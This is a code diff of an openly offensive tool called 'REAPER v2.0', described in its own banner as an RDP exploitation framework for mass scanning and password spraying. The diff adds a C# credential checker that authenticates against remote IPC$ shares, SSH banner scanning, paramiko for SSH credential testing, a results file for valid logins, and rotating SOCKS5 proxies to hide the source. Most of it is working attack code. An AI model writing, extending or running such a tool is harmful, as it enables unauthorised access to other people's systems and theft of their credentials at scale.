\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\033[0m
\033[91m \u2502\033[0m \033[97mREAPER v2.0 :: RDP REAPER :: No Mercy\033[0m \033[91m\u2502\033[0m
\033[91m \u2502\033[0m \033[90mRemote Exploitation & Password Enumeration Routine\033[0m \033[91m\u2502\033[0m
\033[91m \u2502\033[0m \033[31m\u2620 Mass RDP Scan | Password Spray | SOCKS5 Proxy \u2620\033[0m \033[91m\u2502\033[0m
\033[91m \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\033[0m
"""
def main():
print("""
╔══════════════════════════════════════════╗
║ FastRDP-NG v2.0 ║
Next-Gen RDP Scanner & Password Sprayer ║
╚══════════════════════════════════════════╝
""")
try:
print(BANNER)
except (UnicodeEncodeError, OSError):
print("""
==============================================
REAPER v2.0 - RDP Exploitation Framework
==============================================
""")
# Check if tkinter is available
try:

View File

@@ -82,14 +82,12 @@ class ProxyEntry:
class ProxyManager:
"""
Manages a dynamic list of proxies with fetching, testing, rotation.
Thread-safe for use across asyncio event loops.
"""
def __init__(self):
self.proxies: List[ProxyEntry] = []
self._working: List[ProxyEntry] = []
self._rotation_index = 0
self._lock = asyncio.Lock()
# State
self.enabled = False
@@ -127,10 +125,9 @@ class ProxyManager:
Fetch proxy lists from all configured sources.
Returns total number of unique proxies collected.
"""
async with self._lock:
if self.fetching:
return len(self.proxies)
self.fetching = True
if self.fetching:
return len(self.proxies)
self.fetching = True
try:
session = await self._get_session()
@@ -191,8 +188,7 @@ class ProxyManager:
return len(self.proxies)
finally:
async with self._lock:
self.fetching = False
self.fetching = False
def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
"""Parse proxifly JSON format."""
@@ -294,10 +290,9 @@ class ProxyManager:
Test all untested/failed proxies in the pool.
Returns number of working proxies found.
"""
async with self._lock:
if self.testing:
return self.working_count
self.testing = True
if self.testing:
return self.working_count
self.testing = True
try:
# Test proxies that haven't been tested or have failures
@@ -338,8 +333,7 @@ class ProxyManager:
return self.working_count
finally:
async with self._lock:
self.testing = False
self.testing = False
# ── ROTATION ──────────────────────────────────────────────────────────
@@ -348,17 +342,16 @@ class ProxyManager:
Get the next working proxy (round-robin if auto_rotate is enabled).
Returns None if no working proxies available.
"""
async with self._lock:
if not self._working:
return None
if not self._working:
return None
if self.auto_rotate and len(self._working) > 1:
proxy = self._working[self._rotation_index % len(self._working)]
self._rotation_index += 1
else:
proxy = self._working[self._rotation_index % len(self._working)]
if self.auto_rotate and len(self._working) > 1:
proxy = self._working[self._rotation_index % len(self._working)]
self._rotation_index += 1
else:
proxy = self._working[self._rotation_index % len(self._working)]
return proxy
return proxy
def mark_bad(self, proxy: ProxyEntry):
"""Mark a proxy as failed (connection error)."""

212
rdpthread.cs Normal file
View File

@@ -0,0 +1,212 @@
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
// Uses Windows WNetAddConnection2 API to validate credentials
// against the remote machine's IPC$ share.
//
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
// or via build.bat
//
// Usage: rdpthread.exe <ip> <port> <username> <password>
// Returns: exit code 0 + prints "success" on valid credentials
// exit code 1 on failure (invalid, timeout, unreachable)
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace RDPThread
{
class Program
{
// ── Win32 P/Invoke ──────────────────────────────────────
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetAddConnection2(
ref NETRESOURCE netResource,
string password,
string username,
int flags
);
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetCancelConnection2(
string name,
int flags,
bool force
);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr socket(int af, int type, int protocol);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int closesocket(IntPtr s);
[DllImport("ws2_32.dll")]
private static extern int WSAStartup(ushort version, ref WSADATA data);
[DllImport("ws2_32.dll")]
private static extern int WSACleanup();
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NETRESOURCE
{
public int dwScope;
public int dwType;
public int dwDisplayType;
public int dwUsage;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpLocalName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpRemoteName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpComment;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpProvider;
}
[StructLayout(LayoutKind.Sequential)]
private struct WSADATA
{
public ushort wVersion;
public ushort wHighVersion;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
public string szDescription;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
public string szSystemStatus;
public ushort iMaxSockets;
public ushort iMaxUdpDg;
public IntPtr lpVendorInfo;
}
[StructLayout(LayoutKind.Sequential)]
private struct sockaddr_in
{
public short sin_family;
public ushort sin_port;
public uint sin_addr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] sin_zero;
}
private const int RESOURCETYPE_ANY = 0;
private const int CONNECT_TEMPORARY = 4;
private const int NO_ERROR = 0;
private const int AF_INET = 2;
private const int SOCK_STREAM = 1;
private const int IPPROTO_TCP = 6;
private const int ERROR_LOGON_FAILURE = 1326;
private const int ERROR_ACCESS_DENIED = 5;
private const int ERROR_BAD_NETPATH = 53;
private const int ERROR_NETWORK_UNREACHABLE = 1231;
private const int ERROR_INVALID_PASSWORD = 86;
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
// ── TCP connect check ──────────────────────────────────
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
{
try
{
WSADATA wsa = new WSADATA();
if (WSAStartup(0x202, ref wsa) != 0)
return false;
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == (IntPtr)(-1))
{
WSACleanup();
return false;
}
// Set non-blocking for timeout
var addr = new sockaddr_in
{
sin_family = AF_INET,
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
sin_addr = BitConverter.ToUInt32(
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
sin_zero = new byte[8]
};
byte[] addrBytes = new byte[16];
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
int result = connect(s, addrBytes, 16);
closesocket(s);
WSACleanup();
return result == 0;
}
catch
{
return false;
}
}
// ── Credential validation via IPC$ ────────────────────
private static bool ValidateCredentials(string ip, string username, string password)
{
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
NETRESOURCE nr = new NETRESOURCE
{
dwScope = 0,
dwType = RESOURCETYPE_ANY,
dwDisplayType = 0,
dwUsage = 0,
lpLocalName = null,
lpRemoteName = remotePath,
lpComment = null,
lpProvider = null
};
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
if (result == NO_ERROR)
{
// Success! Clean up the connection
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
return true;
}
return false;
}
// ── Main ──────────────────────────────────────────────
static int Main(string[] args)
{
if (args.Length < 4)
{
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
return 1;
}
string ip = args[0];
int port = int.Parse(args[1]);
string username = args[2];
string password = args[3];
// Step 1: Quick TCP connectivity check
if (!TcpConnect(ip, port))
{
// Port not reachable - try IPC$ anyway (SMB uses port 445)
// The WNetAddConnection2 will fail gracefully if unreachable
}
// Step 2: Validate credentials via IPC$ (SMB)
// This uses Windows built-in authentication against the remote machine
bool success = ValidateCredentials(ip, username, password);
if (success)
{
Console.WriteLine("success");
return 0;
}
return 1;
}
}
}

View File

@@ -1,3 +1,9 @@
# FastRDP-NG - zero dependencies needed for core
# Optional pretty terminal output:
# colorama>=0.4.6
# REAPER v2.0 - RDP Exploitation Framework
#
# Core runs on Python stdlib (asyncio, tkinter, socket).
# These are only needed for the proxy module:
aiohttp>=3.9.0
aiohttp-socks>=0.11.0
# SSH credential testing via paramiko:
paramiko>=3.0.0

1
results/good.txt Normal file
View File

@@ -0,0 +1 @@

12
run.bat
View File

@@ -1,15 +1,17 @@
@echo off
title FastRDP-NG v2.0
title REAPER v2.0 - RDP Exploitation Framework
cd /d "%~dp0"
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
set PYTHONIOENCODING=utf-8
color 0C
echo.
echo ╔══════════════════════════════════════════╗
echo FastRDP-NG v2.0
echoLaunching GUI...
echo ╚══════════════════════════════════════════╝
echo ╔═══════════════════════════════════════════════════
echo REAPER v2.0 ☠
echoRemote Exploitation ^& Password Enumeration
echo ║ Launching the Reaper... ║
echo ╚═══════════════════════════════════════════════════╝
echo.
python main.py
if %errorlevel% neq 0 (

View File

@@ -14,10 +14,16 @@ logger = logging.getLogger("FastRDP-NG")
# RDP ports to scan
RDP_PORTS = [3389, 3390, 3391]
# SSH port
SSH_PORT = 22
# First 3 bytes of an RDP Negotiation Response (T.125)
# Actual RDP servers respond with 0x03 (TPKT version 3)
RDP_BANNER_SIG = b'\x03\x00'
# SSH banner prefix
SSH_BANNER_SIG = b'SSH-'
async def check_rdp_port(
ip: str,
@@ -88,6 +94,43 @@ async def check_rdp_with_banner(
return (ip, port, False)
async def check_ssh_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Connect + read SSH banner to confirm it's SSH.
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=connect_timeout
)
try:
data = await asyncio.wait_for(
reader.read(8),
timeout=banner_timeout
)
is_ssh = data.startswith(SSH_BANNER_SIG)
return (ip, port, is_ssh)
except (asyncio.TimeoutError, ConnectionError, OSError):
return (ip, port, False)
finally:
writer.close()
await writer.wait_closed()
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def scan_ips(
ips: List[str],
ports: List[int] = None, # type: ignore
@@ -119,6 +162,16 @@ async def scan_ips(
checker = check_rdp_with_banner if banner_check else check_rdp_port
if progress_callback and total > 0:
if total <= 1000:
progress_every = max(1, total // 50 or 1)
elif total <= 10000:
progress_every = 100
else:
progress_every = 1000
else:
progress_every = 0
async def check_one(ip: str, port: int):
nonlocal checked
async with sem:
@@ -130,10 +183,11 @@ async def scan_ips(
if live_callback:
live_callback(ip, p)
checked += 1
if progress_callback and checked % 1000 == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
if progress_callback and progress_every:
if checked == total or checked % progress_every == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
# Fire all tasks concurrently
tasks = []